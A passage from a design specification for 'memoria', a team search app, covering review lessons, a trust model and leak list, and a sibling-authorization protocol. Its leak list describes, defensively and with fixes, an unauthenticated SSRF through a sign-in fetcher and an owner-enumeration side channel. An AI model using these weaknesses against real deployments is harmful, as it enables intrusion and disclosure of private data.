540that **does not close the leak** (a document downgraded from `team` to
541`granted` with the asker's grant intact passes both halves), and that
542**argued against the doctrine's own mechanism** as a ruling-3 violation.
543The doctrine had explicitly retracted that reasoning — *"a later
544visibility change is exactly what the defect turns on"* — in the section
545memoria cited for it.
546
547**The other eight majors are one shape: the commit checked what it
548opened.** S7 was retired in §1 and §4.3 and left alive in the §6.1
549contract table, in §6.5's warm-up, in §4.1's "this subsumes membership",
550in §2's members table and in five §13 items still listed as open after
551this commit closed them. §11 corrected the home dependency in one
552paragraph and reasserted it twelve lines below, in the same commit. The
553Docs §11.2 qualification was deleted from §8.3 and still owed in §11 and
554§13. The blanket write ban went from §6.4 and stayed load-bearing in §3.3,
555§8.5 and decision 10's rejected column.
556
557**The rule, and it is specific to adopting someone else's document:** the
558risk in an adoption commit is concentrated in the sections you did *not*
559open. A rewritten section has been read twice; an untouched one that
560depended on the old rule has been read never, and it now contradicts the
561new one while looking untouched and therefore fine. **Grep for the retired
562thing by name before claiming it is retired** — `S7`, `person_ref`,
563`members table`, `forbidden by §6.4` — and read every hit.
564
565Two smaller ones worth keeping. §4.1 had inverted *why* the asker subject
566is typed, saying the type is fixed at configuration because instances are
567provisioned together — which is the reasoning suite §3 names and rejects,
568"an operational habit, not an enforced property". And gate 21 claimed its
569fixtures had been replaced; there were never any fixtures, the gate does
570not exist, and the entry now says so.
571
572**A postscript, because the same mistake then happened twice more in one
573hour and neither instance was caught by a rule that exists to catch it.**
574On 2026-09-06 this branch merged a local `main` that was **five commits
575behind the remote**, having compared the wrong ref; in the same hour the
576suite session read `617eb2a` — this branch's base — as memoria's `main`
577and concluded draft 5 was unmerged, then made a doctrine ruling partly on
578that belief. Remote `main` was `9b55ab8` and carried draft 5 the whole
579time. Two sessions, two directions, one unrun command: **fetch before you
580read a ref you did not just write.** It is in suite AGENTS.md already,
581which is the point — a rule nobody runs is a rule that catches nothing,
582and it is now three-for-three at catching nothing.
583
584**And a second lesson from the same exchange, which is the suite session's
585and is the more useful of the two: cite the ref, not the claim.** A claim
586arriving from a peer gets *less* scrutiny than one arriving from a file,
587and it should get more — a file can be opened at the commit you name,
588while a peer's claim carries no provenance at all. You cannot see which
589checkout they read, whether they fetched, or whether they were quoting or
590remembering. Both of this week's cross-repository mistakes have that
591shape: a doctrine ruling made on something memoria told the suite, and a
592memoria merge made on something the suite implied. **When you tell another
593repository a fact about this one, give the commit it is true at. When one
594tells you, check it before you rule on it.**
595
596**And a rider the suite session earned the hard way an hour later: citing
597the ref is not enough if you read it with a tool that sees one line at a
598time.** Its check of this fix grepped for a rule that spans two lines, got
599zero matches, and came within one message of reporting that nothing had
600been fixed. A false negative from a correct ref is worse than not checking,
601because it arrives with the authority of having looked. Read the
602surrounding lines; a count of zero is a claim like any other.
603
604**One finding was wrong, and how it was wrong is worth as much.** The
605review could not resolve `6797bbf` or `4aea8f4` and said §13's blocker was
606therefore not shown closed. The hashes are correct — they are
607`refs/heads/main` on the hub, confirmed by `git ls-remote` — but every
608local checkout on this box is behind, because `amadan branch merge` lands
609on the remote and touches no working tree. The reviewer was right that the
610claim was unverifiable *as written*, and §13 now says which ref the hashes
611are on and how they were checked. A citation that only resolves for
612whoever wrote it is not a citation.
613
614### 1.11 What the merge review changed
615
616The branch merged eighteen commits of `main` — the Notion connector,
617multi-file drop, draft 5 — and was then reviewed as a whole. REQUEST
618CHANGES, eight MAJOR. **Every one of them was in something the merge did
619not open**, which is §1.10's lesson arriving for the fifth time and the
620reason it is now a rule in AGENTS.md rather than an observation.
621
622**Three were guards that could not have worked.**
623
624`.gitignore` was committed **with conflict markers in it**, and `make ci`
625was green throughout, because git parses the marker lines as harmless
626patterns. A broken file that no gate in this repository can read.
627
628The egress gate's sibling exemption cited
629`sibling.TestClientRefusesHostsOutsideTheTeam` as the runtime guard paying
630for it. There was no such test. Every test in the package built its own
631`&http.Client{}`, so nothing exercised `suite.NewSiblingClient` and a
632constructor returning a client with no team check and no redirect refusal
633would have stayed green. AGENTS.md's second named failure — a gate naming a
634test that is not there — inside the comment claiming the payment.
635
636And "one predicate" was not true of production: `main.go` passed
637`Admits(cfg.Owners)` to `NewAuth` and separately called
638`SetOwners(cfg.Owners)`, two closures over two copies of one rule, while
639`handlers.go` asserted there was "no second value to disagree with". The
640fix is not a gate: `Admits` is deleted and `app.Admit` is a method on the
641one list, so there is nothing to build twice.
642
643**Four more were mutations the author had not thought of**, found in the
644sibling client after five author-chosen ones had all gone red. The worst
645rendered a *count* for `NOT_VISIBLE` — the one value that must be silent —
646telling a reader how many things they may not see. The most instructive
647bounded the deadline against itself, so `Deadline = 30s` passed and a page
648could hang for half a minute with the suite green. **A test that measures a
649constant against itself measures nothing.**
650
651**And the rest were the merge's own seams.** `S7` came back into §4.3 and
652decision 11 from a branch written before ruling 4. §2 contradicted itself
653four lines apart. §13 carried two lists arguing — an item truncated
654mid-sentence, the same question live in one copy and struck in another, a
655header counting four items of which two were dead. Twelve gate citations
656pointed at the wrong gates after the renumbering, one sentence naming the
657same gate under two numbers.
658
659**The lesson that is new**, and it is about reviewing rather than writing:
660this pass found more than the four before it combined, and it found it by
661comparing the merge against *both parents* rather than reading the result.
662A merge is the one change where reading the output cannot tell you what is
663missing.
664
665---
666
667## 2. What memoria is
668
669A fourth per-team instance app, beside sheets, docs and calendar, with
670its own DEK and its own origin. It holds the team's content in a sealed
671index and answers questions over it with citations.
672
673**It has no members table**, and draft 3 said it did — in this sentence,
674word for word from draft 2, three sections before decision 11 rejected
675the table. A reader of §2 built it; a reader of decision 11 did not.
676Admission is §4.3's.
677
678**The owners list is not a roster, and draft 4 called it one four lines
679above saying memoria never holds one.** The app refuses to start without
680a platform-configured owners list. What separates the two is not size: a
681roster answers "who is on this team", changes as people join and leave,
682and would have to be reconciled against whoever else answers it. The
683owners list answers "who operates this instance", is fixed at
684provisioning, does not grow one person at a time, and is reconciled
685against nothing because nobody else holds an opinion about it. Extending
686it per person would make it a roster, and that is the move decision 11
687rejects.
688
689**Suite ruling 4 adds a third thing, and it is not either of those.** In
690suite shape memoria holds a *pulled copy* of the home's roster (suite call
6918, refreshed by epoch, §4.3). That is not a members table — memoria
692authors none of it and reconciles none of it — and it is not the owners
693list, which still answers a different question and still bypasses it. Three
694distinct things, and this branch briefly collapsed two of them by writing
695"its own roster copy" into the sentence above, four lines from the
696paragraph warning against exactly that.
697
698**What it is for.** Nothing in the suite answers a question. Docs ships
699title and metadata search; Sheets has a recency list; the home's call 3
700says where your things are. Asking *"what did we decide about X"* and
701getting an answer grounded in the team's own documents is the gap.
702
703**What it never does.**
704
705- **Never decides who may read sibling content.** It asks (§4.1).
706- **Never *authors* a roster**, which is the claim that survives ruling 4.
707 It holds the home's, as a pulled copy refreshed by epoch (§4.3), and it
708 reconciles none of it and writes none of it. In lone shape there is no
709 roster at all and admission is the owners list. *This bullet said
710 "never holds a team roster. Admission is relayed from the siblings" until
711 2026-09-06, four lines below the paragraph describing the pulled copy —
712 and §4.3 by then asked no sibling anything.*
713- **Never writes to a sibling**, and exposes no sibling-facing surface.
714- **Never acts as a person.** It holds no signing key; every assertion's
715 `aud` binds to "app + instance host" (home §5.3).
716- **Never crosses a team label** (§6.3).
717- **Never holds an individually-granted sibling item.** S3 answers on
718 team-visibility alone, so such an item cannot enter the corpus.
719- **Never trains or fine-tunes.** Weights are the one copy that cannot be
720 forgotten (decision 8).
721- **Never recomputes a number.** A question with an arithmetic answer
722 cites the cell; Sheets' engine is the app of record. A brain that
723 recalculates is a second calculator that disagrees with the first.
724
725---
726
727## 3. Trust model and the leak list
728
729Sealed at rest under memoria's own DEK, HKDF purpose keys, AES-GCM, as
730Sheets §2 and home §3. What follows is what that does *not* cover.
731
732### 3.1 Embeddings are content
733
734The case that a vector is not plaintext: nothing in the bucket contains
735the bytes `salary 50000`; the plaintext-grep gate passes; a vector is a
736lossy derived artefact.
737
738The case that it is: this suite already seals derived artefacts — Sheets
739§2.1 seals the *cached computed value* even though it is only a function
740of sealed inputs — and embedding inversion is not hypothetical.
741Published vec2text-style attacks recover 32-token inputs close to
742verbatim, and 32 tokens is the size of a cell, a title, or a sentence.
743
744**Ruled:** chunk text, embeddings and the index graph are all §0 content.
745An unsealed embedding is a plaintext cell that happens to beat a byte
746grep — precisely the failure home §5.1 names as "turning a guarantee into
747a comment".
748
749**This applies to FTS5 too, and it shapes §7.** FTS5 stores term postings
750in plaintext, so the index cannot live in the replicated SQLite file.
751
752**Searching sealed vectors directly is not available.** Encrypted-ANN
753schemes are research-grade and orders of magnitude slower. The working
754shape is the one Sheets §4.4 uses for its handle: seal the serialised
755index as one blob, decrypt into a refcounted in-memory handle on wake,
756evict on idle. The graph is sealed *with* the vectors, because neighbour
757edges alone reveal which passages resemble each other.
758
759### 3.2 The leak list
760
761**From the bucket:** document and chunk counts; sealed blob sizes; source
762app and coordinates per chunk, plaintext exactly as Sheets §2.2 keeps
763coordinates; ingest and update timestamps, therefore which sources are
764busy and when; embedding dimension — though "therefore the model", as this
765line read until draft 3, overstated it even then: the design has always
766stored 512, which under OpenAI was a requested `dimensions` and under §8.3
767is a truncation of a native 4096. Either way the stored width names a
768choice of ours. It narrows the candidate models; it does not name one. Do
769not lean on that.
770
771**From a rendered page.** A response body is a copy in someone's browser,
772and no revocation reaches it. A results tab left open on Tuesday still
773shows Tuesday's authorized snippets on Friday; `/documents/{id}` shows a
774whole document for as long as it stays open. This is true of every surface
775memoria has or could have, so it is not an argument against any particular
776one (§8.4 tried to use it as one and was wrong). memoria's guarantee ends
777at the response body, and §8.4's invariant is what keeps the *next*
778response honest.
779
780**From a live host — the largest entry, and new.** A compromised memoria
781host reaches the team's corpus across every app at once, plus §5.1's
782connector credentials. §3.3 works through how this compares to Sheets;
783§3.5 lists what shrinks it.
784
785**From logs, errors and metrics:** a question is content — *"what does
786Bob earn"* is a cell value phrased as a query. Sheets AGENTS.md's rule
787extends to cover query text, answer text and cited snippets. Token counts
788per query still leak length.
789
790**From the index structure, even sealed:** blob size tracks corpus size;
791update cadence tracks ingest; the platform observes timing, volume and
792which team is awake.
793
794**From a sibling:** bodies transit the router in plaintext on every S3
795fetch (§6.1).
796
797**From the circuit breaker's counters — a per-person record, and one of
798two memoria keeps** (the other is §8.10's corrections, below). §8.1's breaker needs a 7-day baseline and memoria
799hibernates, so its counters are durable: per `(sibling, asker, UTC day)`,
800a `VISIBLE` count and a `NOT_VISIBLE` count. Sealed under their own
801purpose key, so this is not a bucket leak; it is a statement about what
802memoria *holds*. Anyone who can read them learns, per person per day, how
803much of each sibling that person was allowed to see — which is a shape of
804the team's permissions, not its content. Retained **8 days**, and the
805retention is load-bearing rather than tidy: an unbounded version is a
806year-long history of who was locked out of what. The alternative is a
807breaker that cannot fire (in-memory, reset every wake), which §8.1 rejects
808because a guard that is off reads as a guard that found nothing.
809
810**From corrections (§8.10) — the second per-person record.** A
811correction holds a person's query and note, sealed, plus which
812candidates they were shown and picked, as coordinates: a document id,
813its revision, a passage, and a position. It holds **no passage text**,
814and the coordinates are sealed with the rest. `reporter_print` is a
815keyed fingerprint, not an address. Anyone who can read the table
816without the key learns only that some print made a correction, and
817when. With the key, a report links that person to the documents and
818passages they corrected. It is kept until the person
819deletes it, and the reports page offers that.
820
821**From the sign-in form — and this entry understated it for three
822drafts.** rastrillo's classifier resolves and fetches the submitted
823address's domain when a sign-in begins, **before** the admission gate. The
824entry used to stop at "the instance's existence, reachability, egress
825address and a timing channel; no content", which is what an *arbitrary
826domain* buys. Reading the fetcher on 2026-09-05 showed it buys more: the
827`host=` in a domain's `_keymail` TXT record is taken verbatim, with no
828allowlist, no scheme or port restriction and no private-range check, and
829fetched by a client that follows redirects. **So the destination is the
830submitter's to choose, not merely the domain's** — an unauthenticated SSRF
831whose reach is whatever this instance's network can reach.
832
833**memoria's half is closed** (gate 33): the admission predicate now runs
834before the classifier, so an unadmitted address produces no DNS query and
835no fetch. **Two things that does not fix.** An *owner* still reaches the
836unhardened fetcher, and every other rastrillo app is untouched — the real
837fix is upstream (§13, and `SECURITY-DRAFT-rastrillo-signin.md`). And the
838guard sits in front of signin's per-address rate limiter, so **an owner
839and a stranger become distinguishable after five submissions** — the
840owner's sixth answers `?err=rate`, the stranger's answers `?sent=1`
841forever, and refused addresses consume no per-IP budget, so enumerating
842the owners list is unthrottled. That is a smaller leak than the dial and
843it is a real one; the budget is inside signin and cannot be reached from
844here.
845
846This is listed because draft 3 let the product claim "nothing leaves this
847instance", which it makes false.
848
849**Not a leak, corrected:** a document's `external_id` was an unkeyed
850SHA-256 of its body, which let anyone holding the bucket and a candidate
851file confirm the team holds it, and read that row's size, timestamps and
852chunk count. A content hash is not a coordinate, whatever it looks like.
853It is an HMAC under its own purpose key now (`seal.Fingerprint`), which
854keeps idempotent re-ingest and removes the oracle.
855
856**From the provider, when AI is on — and this is bigger than draft 1
857said.** Draft 1 stated only query-time egress: ~10 chunks × 500 tokens
858per question, so that over months "the frequently-consulted part of the
859corpus has left in full". That understated it by the corpus.
860
861**§8.9 adds a second query-time trigger, and it is not the same as the
862first.** Same recipient, same category of transmission — passages that
863passed §4.1 in this request — but a different trigger and a bounded,
864possibly different payload: the top eight ruled results are sent when a
865query names a model kind (a postal address) and deterministic extraction
866cannot serve it, **whether or not the query would have produced a
867generated answer at all.** A search for "office address" that §8.2 routes
868as navigational still sends passages. The disclosure has to say that in
869the same breath as the answer path; "passages behind an answer" is no
870longer the whole of it.
871
872**Embeddings come from a hosted API (§7.2). So with AI on, every chunk of
873every document leaves at ingest, on day one.** §8.6 prices it: 24M tokens
874for a 90k-chunk corpus. The frequently-consulted part leaving is the
875*second* leak, not the first.
876
877Two consequences the spec carries rather than buries:
878
879- **A chunk later downgraded or deleted has already left.** Decision 8's
880 provenance-or-deletion governs memoria's copy. It cannot reach the
881 provider's.
882- **Decision 5's AI-off floor is therefore a strong position, not a
883 degraded one.** With AI off, BM25 over sealed chunks, nothing leaves
884 the instance — not at query time and not at ingest. That is why §11
885 builds it first.
886
887### 3.3 memoria is not less sealed than Sheets. It is a bigger target.
888
889Asked directly by Paul, 2026-09-03, and answered here because every
890future reader will ask it.
891
892**At rest there is no difference.** memoria seals under its own DEK with
893the same construction as Sheets, and the same plaintext-grep gate runs
894against its bucket from the first commit.
895
896**An earlier draft argued the difference was RAM** — that a Sheets host
897holds decrypted handles only for *open* sheets (Sheets §4.4) while
898memoria holds everything. That is mostly wrong and is recorded so it is not
899reintroduced. A compromised Sheets host holds the DEK and can decrypt its
900entire bucket on demand; the open-handle distinction is the difference
901between reading memory and running a decrypt loop, which is no barrier to
902anyone with code execution.
903
904**The real difference is that the corpus is a union.** Compromise Sheets
905and an attacker gets that team's sheets. Compromise memoria and they get
906sheets *and* docs *and* calendar *and* Notion *and* uploads *and*
907forwarded mail. Same lock, more in the room.
908
909**Three refinements. The first favours memoria; the third draft 1 got
910backwards.**
911
912- **Per sibling app, memoria holds strictly less than the app does.**
913 Decision 3's custody rule keeps individually-granted content out, so
914 memoria's copy of Sheets is a strict subset. The union is larger; every
915 sibling part of it is smaller.
916- **The RAM point is real but narrow.** memoria's index must be fully
917 decrypted to be searchable (§3.1), so its corpus sits in cleartext
918 memory as routine operation. Against RCE this is marginal. It bites for
919 **bounded memory over-reads** — a Heartbleed-class bug reads live
920 memory, not the key's reach. Draft 1 also listed core files, swap and
921 hypervisor snapshots; that was too broad, since those capture the DEK
922 too and reduce to the decrypt loop. Narrowed on review.
923- **Connector credentials are blast radius, not window, and draft 1 said
924 the opposite.** Draft 1 claimed a compromised memoria "yields the
925 sibling read tokens… the same content memoria already holds, so it
926 widens the window rather than the blast radius". True of *sibling*
927 tokens. False of §5.1's connector credentials: a Drive OAuth grant
928 reaches the authorising account's whole Drive, and a Gmail label
929 connector needs mailbox-wide read scope. Neither is bounded by what
930 memoria ingested. **A compromised memoria reaches further than memoria
931 ever held.** §3.5 mitigates it.
932
933**What memoria does not do is weaken its siblings' sealing.** It holds no
934sibling's DEK, cannot read a sibling's individually-granted content
935because S3 404s it, and **gains no write path except suite §7's two, which
936are narrower than "no writes" and differently shaped** (§6.4): a person's
937own hand-off, carried by their browser under their own session, and S8 as
938memoria itself into an area the team owner designated for it. Neither
939gives memoria a capability over a sibling's content; the first is not
940memoria writing at all.
941
942### 3.4 A citation is exactly as trustworthy as the app it cites
943
944A compromised sibling has no inbound path to memoria and holds no memoria
945token, so it cannot read or write. What it *can* do is lie: serve
946fabricated content on S3, answer `VISIBLE` for a person not entitled,
947withhold tombstones. memoria's re-check asks the same lying app.
948
949There is no mitigation, only disclosure. The README says this sentence.
950
951### 3.5 Cheap mitigations
952
953- **memoria hibernates.** Home §2.1 made the home the estate's one
954 exception; memoria is not another.
955- **Idle eviction** of the decrypted handle — the mitigation that matters
956 most for §3.3's bounded-over-read class.
957- **Per-source subsets**, owner-selected, default all.
958- **A published-only mode**, in which the sibling carries an explicit
959 "offer to memoria" mark that *it* evaluates.
960- **Refusing sources by kind.** Calendar bodies off by default.
961- **Least-privilege connector credentials — now a requirement, not a
962 nicety** (§3.3). Prefer per-folder or per-label scopes over
963 account-wide ones; prefer a dedicated service identity over a person's
964 OAuth grant; store them under a distinct HKDF purpose key so a
965 chunk-store disclosure does not yield them.
966
967### 3.6 The honest claim
968
969The README's first paragraph, in substance. Rewritten after review: the
970draft-1 version was false about egress volume, which PRODUCT.md principle
9711 treats as a defect rather than a wording choice.
972
973**This is the paragraph for the full assistant, and it is not in the
974README yet, on purpose.** §8.9 shipped first: with `MEMORIA_AI=on` the
975binary sends the top eight ruled passages of a search that asks for a
976postal address, and nothing else. The text below says "every document in
977the corpus, once, when it is indexed" — true of embeddings, not built,
978and false of the binary today. PRODUCT.md principle 1 makes overstating
979egress as much a defect as understating it. So the README states exactly
980what §8.9 sends, and this paragraph replaces it the day embeddings land.
981**If decision 16 lands first**, its retention wording replaces "we rely on
982their retention terms and cannot verify them" in both — and the
983transmission disclosure stays in both, since decision 16 changes what is
984retained and not what is sent.
985
986> memoria's index and passages are sealed at rest under this team's own
987> key, the same way your sheets and documents are. Nothing readable
988> reaches storage. What is different about memoria is not the lock, it is
989> what is behind it: memoria gathers your team's work from every app into
990> one place, so whoever breaks into it gets all of it at once rather than
991> one app's worth. That is the point of it and the risk of it.
992>
993> With the assistant switched off, **no document leaves this instance** —
994> memoria searches your content where it sits.
995>
996> Signing in is the one exception, and it is not about your documents:
997> memoria asks your email address's own domain how to verify you, so that
998> domain learns this instance exists. Nothing of yours is in that request.
999>
1000> **What you connect, memoria keeps.** Disconnecting a Notion space or a
1001> Drive folder, or revoking our access to it, stops memoria seeing new
1002> changes — it does not remove what memoria already holds. That copy
1003> stays readable to your team until someone deletes it *in memoria*.
1004> Documents in Sheets and Docs work the other way round: those apps stay
1005> in charge, and memoria asks them on every search.
1006>
1007> **Switching the assistant on sends your content to the provider named
1008> in your settings — not just the passages behind an answer, but every
1009> document in the corpus, once, when it is indexed.** That is how the
1010> search understands meaning rather than matching words. The provider can
1011> read what it receives; we rely on their retention terms and cannot
1012> verify them, and content sent before you deleted something cannot be
1013> recalled. We never claim we can't read your data, and with the
1014> assistant on we never claim nobody else can either.
1015
1016---
1017
1018## 4. Authorization
1019
1020### 4.1 Sibling content: memoria asks, never decides
1021
1022Every path that would speak a passage originating in a sibling app calls
1023**S2** first, carrying the asker:
1024
1025```
1026S2(subject, [(item_id, revision), …])
1027 → per item: VISIBLE | NOT_VISIBLE | STALE | UNKNOWN
1028
1029 (memoria also wants AHEAD; the contract cannot carry it yet — below)
1030```
1031
1032**The asker is a typed subject, and the type travels on the wire**
1033(suite §3): `{kind: person_ref | address, value}` — a person ref in suite
1034shape, a lowercased address in lone shape. *On the wire* is the point, and
1035this spec first got it backwards by saying the type is fixed at
1036configuration because two instances that talk were provisioned together.
1037The doctrine names that exact reasoning and rejects it: **"provisioned
1038together" is an operational habit, not an enforced property.** With the
1039kind on the call, a receiver that keys on the other one answers `UNKNOWN`
1040for the whole call rather than guessing — which is a loud failure instead
1041of a silent mismatch between an address and a person ref that happen to
1042collide. Suite gate 2 tests it, and memoria's gate 6 gains the case.
1043
1044The sibling answers from the grants join it already maintains — Sheets
1045§4.5, "rows this team can see, plus rows granted to me individually,
1046minus rows I have been removed from". memoria evaluates none of it.
1047
1048**`AHEAD` is adopted and not yet shipped. Settled 2026-09-06 as suite
1049doctrine revision 10, on memoria's argument.**
1050
1051Draft 4 added `AHEAD` for the case where the *sibling* is behind — its log
1052stops short of the revision memoria holds, or it has no row for the item
1053at all — and the reasoning is good: `STALE` means memoria is behind and
1054refetching fixes it, `NOT_VISIBLE` is the silent value and would delete
1055history the sibling still has, and `UNKNOWN` "would report no answer when
1056the sibling answered". Three wrong homes, so a fourth value.
1057
1058Suite revision 7 had ruled the case `UNKNOWN`; **revision 10 replaces
1059that with `AHEAD`**, in the shape memoria proposed and with one half
1060declined — see below. The module carries it on an unmerged branch, so the
1061version this repository pins (`60b01a8`) still has four constants.
1062
1063**So the wire shape above is four values today and five when the module
1064ships**, and every reference to `AHEAD` in this spec is written against the
1065five-value design. That is a shipping lag, not a disagreement, and the
1066distinction matters: nothing here needs redesigning, and nothing here can
1067be built until the module lands. Suite CI is unconfigured, which is what
1068holds it (§13).
1069
1070**How it got settled, because the route matters more than the outcome.**
1071
1072Record the doctrine's reasoning as the doctrine records it: suite §4.3
1073attributes the `UNKNOWN` ruling to *its own GPT-6 review, finding 11* —
1074never `VISIBLE`, because that authorises a revision nobody can vouch for;
1075never `NOT_VISIBLE`, because that is the silent value — and its trigger was
1076**draft 3's open §13 item**, not a question from this branch. It weighed
1077two of draft 4's three wrong homes. What it did not weigh is the third:
1078that `UNKNOWN` reports no answer when the app of record answered, precisely
1079about its own log.
1080
1081*An earlier version of this paragraph said the suite "was asked by this
1082branch, which had not read draft 4, and answered without memoria's argument
1083in front of it". That is wrong twice — it credits this branch with the
1084question and the doctrine with none of the reasoning — and it is the more
1085embarrassing way to be wrong, because it makes another repository's
1086careful work look like an accident of mine.*
1087
1088The argument that carried it was not the original one. The suite's
1089objection — that `AHEAD` for an item with **no row at all** opens an
1090id-existence oracle — was right and that half is withdrawn (§4.1's no-row
1091rule above). What survives is the half that does not leak: **a revision
1092beyond the sibling's log, for an item it still admits.**
1093
1094And the reason that case cannot be handled by the feed instead: a
1095**whole-log** restore rewinds the sibling's cursor, and S1a re-announces
1096unasked. A **partial** restore — a content table restored without its event
1097log — leaves the cursor perfectly valid, so nothing fires and nothing can,
1098because from the log's point of view nothing happened. Only a per-item
1099answer can see it. The two mechanisms are complementary, not overlapping.
1100
1101Until the module ships, memoria maps the case to `UNKNOWN` and **loses the
1102distinction between "the sibling answered, and is behind" and "the sibling
1103did not answer"** — the collapse `AHEAD` was cut to prevent. §13 carries
1104it as a shipping dependency rather than an open question.
1105
1106**The sibling intersects its own answer with custody, and memoria depends
1107on that** (suite §4.3, and the S2 row of suite §6):
1108
1109> S2's answer is intersected with custody. The app of record runs its
1110> grants join for the named asker, and then answers `NOT_VISIBLE` for any
1111> item that is not team-visible, **whatever the asker's individual grants
1112> say**.
1113
1114Read Sheets §4.5 again — *"plus rows granted to me individually"* — and the
1115reason is immediate. An item that leaves team-visibility appears in S1 as
1116`gone`, which §4.2 requires to be **indistinguishable from deletion**. An
1117unintersected S2 distinguishes them perfectly: `VISIBLE` for the one that
1118went private, when a grantee is the asker, and `NOT_VISIBLE` for the one
1119that was deleted. That is the leak the S1 visibility flag was removed to
1120prevent and the leak S3's "404, never 403" was designed to prevent,
1121arriving on the third call.
1122
1123**The cost is real and it is memoria's to disclose.** A person who still
1124holds an individual grant loses that passage here, and any answer built on
1125it, while the document stays open to them in the app of record. That is
1126the price of §4.2's indistinguishability and it cannot be avoided while
1127that promise stands. memoria's honest move is §6.5's: name the app the
1128answer went to, rather than quietly return a shorter one.
1129
1130**What memoria must do about it**, since the mechanism is the sibling's:
1131depend on it, and refuse to trust an S2 that has not demonstrated it.
1132Before memoria consumes a sibling's S2, that sibling passes suite gate 3 —
1133*the same item id answers `NOT_VISIBLE` in each state* — including the
1134transition fixture: ingested while `team`, downgraded to `granted` with
1135the asker's grant intact, asked before `gone` arrives.
1136
1137*An earlier version of this paragraph put the intersection on memoria's
1138side, as "S2 says VISIBLE **and** the item was team-visible when
1139acquired". Three things were wrong with it and a review found all three.
1140It was **vacuous** — everything memoria holds arrived through S3, which
1141serves only team-visible items, so the second half is true of every held
1142item and false of none: a guard written to pass. It **did not close the
1143leak**, because the downgrade-with-grant case passes both halves. And it
1144**argued against the doctrine's actual mechanism** as a ruling-3
1145violation, when a sibling applying its own two rules to its own answer is
1146not authorization cached or asked per person. The doctrine had already
1147retracted exactly that reasoning — "a later visibility change is exactly
1148what the defect turns on" — and this spec re-adopted it while citing the
1149section that retracted it.*
1150
1151**Five-valued in memoria's design, four on the wire today** (see `AHEAD`
1152above), **and each value exists because collapsing it into another
1153produces a plausible empty list — the failure shape sheets-core AGENTS.md
1154names as the worst available.**
1155
1156| Result | Means | memoria does |
1157|---|---|---|
1158| `VISIBLE` | this person may read this revision | render it |
1159| `NOT_VISIBLE` | this person may not read it | omit it silently — correct, and the only value that may be silent |
1160| `STALE` | the item exists and is readable, but the sibling has moved past this revision | **withhold loudly and refetch.** Not a denial |
1161| `AHEAD` | **the sibling's log stops short of this revision, for an item it still admits.** memoria holds history the sibling does not. **One shape, not two:** an item the sibling has no row for at all is `NOT_VISIBLE`, because `AHEAD` there would tell a caller which ids exist (§4.1 below, suite gate 3). This row read "two shapes, one value" until 2026-09-06 and contradicted the rule four sections down | **withhold loudly and re-announce.** Not a denial, and not a reason to delete |
1162| `UNKNOWN` | the sibling did not answer usefully | withhold loudly |
1163
1164**`STALE` is here because draft 2 did not have it**, and mapped a stale
1165revision to `NOT_VISIBLE` — which is silently omitted. An ingestion delay
1166therefore looked exactly like "you have no matching results", recreating
1167the failure draft 2 claimed to have removed. A synchronisation condition
1168is not an authorization decision and must not share its value.
1169
1170**`AHEAD` is here because draft 3 did not have it**, and the draft-3
1171review found the hole. `STALE` is defined as the sibling having moved
1172*past* the revision memoria asked about. Nothing covered the opposite: a
1173sibling restored from backup holds revision 5 of an item memoria indexed
1174at 7. It cannot authorize a revision it does not have, so the natural
1175answer was `NOT_VISIBLE` — the one silent value — and the plausible empty
1176list comes back through the restore door, on the day the suite is least
1177healthy and least likely to be believed.
1178
1179**What memoria does with `AHEAD` is not what it does with `STALE`, and
1180the difference is the whole reason for a fifth value.** `STALE` means
1181memoria is behind, and refetching fixes it. `AHEAD` means the *sibling*
1182lost history, so refetching that revision 404s and refetching the item
1183yields revision 5 — an older body which is now the sibling's truth. So
1184memoria withholds the passage loudly, marks the source for the full
1185re-announce §6.1's S1 row already defines for a rewound cursor, and
1186**deletes nothing**: a sibling's restore must not purge memoria's corpus,
1187and the re-announce is what reconciles the two. Wholesale `AHEAD` from
1188one sibling is a restore signal and §8.1's third breaker names it as one,
1189rather than as the mis-scoped predicate it is not.
1190
1191**"No row at all" is `NOT_VISIBLE`, and draft 4 had it as `AHEAD`.**
1192Corrected 2026-09-06 against suite §4.3, which governs. The argument for
1193`AHEAD` was good and is kept below, because the cost of overruling it is
1194real and should not be lost:
1195
1196> A sibling that has never heard of an item memoria holds is in the same
1197> position as one whose log stops short of it: memoria holds history the
1198> sibling does not. An ordinary deletion does not arrive this way — it
1199> arrives as an `S4` tombstone on the feed, a positive statement that the
1200> item is gone. Silence is not that statement. Mapping it to
1201> `NOT_VISIBLE` puts a history gap on the one value that may be silent.
1202
1203**What it missed is an oracle.** `NOT_VISIBLE` and `AHEAD` are
1204distinguishable, so a consumer that can name an id learns which ids
1205*exist*: `AHEAD` for one nobody holds, `NOT_VISIBLE` for one held
1206privately. Suite gate 3 requires S2's answer to be byte-identical across
1207private, granted, guest-only, link-shared-but-not-team **and deleted**,
1208precisely so ids cannot be enumerated — and this rule would have opened,
1209on the last call, the enumeration §4.2's indistinguishability and S3's
1210"404, never 403" were both built to deny. A value cut to close a silent
1211failure would have opened an existence leak instead.
1212
1213**And caller discipline does not save it.** memoria only ever asks S2
1214about ids it received on S1, so *memoria* can name no id it was not told
1215about — but the S2 row is a contract **siblings implement**, answerable to
1216any consumer holding a token, and §3.2's leak list already contemplates a
1217compromised one. A rule that is safe only while every caller behaves is
1218not a property of the answer.
1219
1220**So the cost is carried rather than avoided, and it is stated here.** A
1221sibling whose restore lost a row entirely is now indistinguishable from
1222one enforcing a denial, and memoria cannot tell them apart from S2 alone.
1223What settles it is the S4 tombstone and the re-announce — reconciliation
1224after the fact, not an answer at the point of the question. `AHEAD`
1225survives for the shape that does not leak: **a revision beyond the log,
1226for an item the sibling still admits**, which is the partial-restore case
1227and the one no feed signal can see.
1228
1229**memoria never compares two revisions, and this is what makes `STALE`
1230and `AHEAD` well-defined.** A revision is an opaque token issued by the
1231sibling, like S1's cursor. Nothing in this design requires revisions to
1232be numeric, ordered or monotonic, and memoria tests them only for
1233equality. `STALE` and `AHEAD` are the *sibling's* verdict on its own log
1234— §6.1's S2 row already says the sibling must compare the asked-for
1235revision against its log rather than against its current row — and a
1236sibling whose revisions are content hashes or ULIDs answers them just as
1237well as one that counts. Without this rule, a restored sibling holding
1238"5" against memoria's "7" invites memoria to prefer the larger number,
1239which is exactly the wrong answer.
1240
1241#### Post-restore reconciliation, and the phantom chunks
1242
1243Draft 4 stopped at "withhold and re-announce", and the review found what
1244that leaves running. Between a sibling's restore and a completed
1245re-announce, every chunk memoria holds from that sibling at a lost
1246revision answers `AHEAD`. Each is withheld loudly — but each was *ranked*
1247first, so it consumed a slot in top-k. A search matching fifty chunks,
1248twenty of them from the restored sibling, rendered thirty results and a
